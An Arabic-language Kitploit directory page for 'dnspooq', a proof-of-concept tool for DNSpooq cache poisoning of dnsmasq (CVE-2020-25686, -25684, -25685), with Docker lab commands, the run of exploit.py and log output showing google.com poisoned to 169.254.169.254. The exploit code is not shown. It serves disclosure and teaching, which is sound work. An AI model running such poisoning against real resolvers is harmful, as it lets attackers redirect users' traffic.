Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
dnspooq — DNSpooq - تسميم ذاكرة التخزين المؤقت لـ dnsmasq (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685) | Kitploit
أدوات/GitHubGitHub/knqyf263/dnspooq
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليمتحليل DNS
GitHubknqyf263/dnspooq

dnspooq

DNSpooq - تسميم ذاكرة التخزين المؤقت لـ dnsmasq (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)

عرض المستودع
10137منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

dnspooq

DNSpooq PoC - تسميم ذاكرة التخزين المؤقت لـ dnsmasq (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)

لأغراض تعليمية فقط

المتطلبات

  • Docker compose
  • Docker

الاستغلال

dnspooq

تشغيل الحاويات

root@kitploit:~
$ docker-compose up -d

تشغيل exploit.py

root@kitploit:~
$ docker-compose exec attacker bash
bash-5.0# python exploit.py
Querying non-cached names...
Generating spoofed packets...
Poisoned: b'google.com.' => 169.254.169.254
sent 3032017 responses in 50.309 seconds

عرض المخرجات من حاوية forwarder

root@kitploit:~
$ docker-compose logs -f forwarder
...
forwarder_1  | dnsmasq[1]: query[A] example.com from 10.10.0.3
forwarder_1  | dnsmasq[1]: forwarded example.com to 10.10.0.4
forwarder_1  | dnsmasq[1]: cached example.com is <CNAME>
forwarder_1  | dnsmasq[1]: cached google.com is 169.254.169.254

عرض المخرجات من حاوية cache

root@kitploit:~
$ docker-compose logs -f cache
Attaching to dnspooq_cache_1
cache_1      | Sniffing...
cache_1      | Source port: 46816, TXID: 16476, Query: b'example.com.'
cache_1      | Source port: 16718, TXID: 54280, Query: b'example.com.'
...
cache_1      | Source port: 46816, TXID: 56240, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 24160, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 18189, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 40361, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 13100, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 47303, Query: b'example.com.'

المراجع

  • https://www.jsof-tech.com/disclosures/dnspooq/
  • https://www.jsof-tech.com/wp-content/uploads/2021/01/DNSpooq-Technical-WP.pdf

المؤلف

Teppei Fukuda

تنزيل الأداة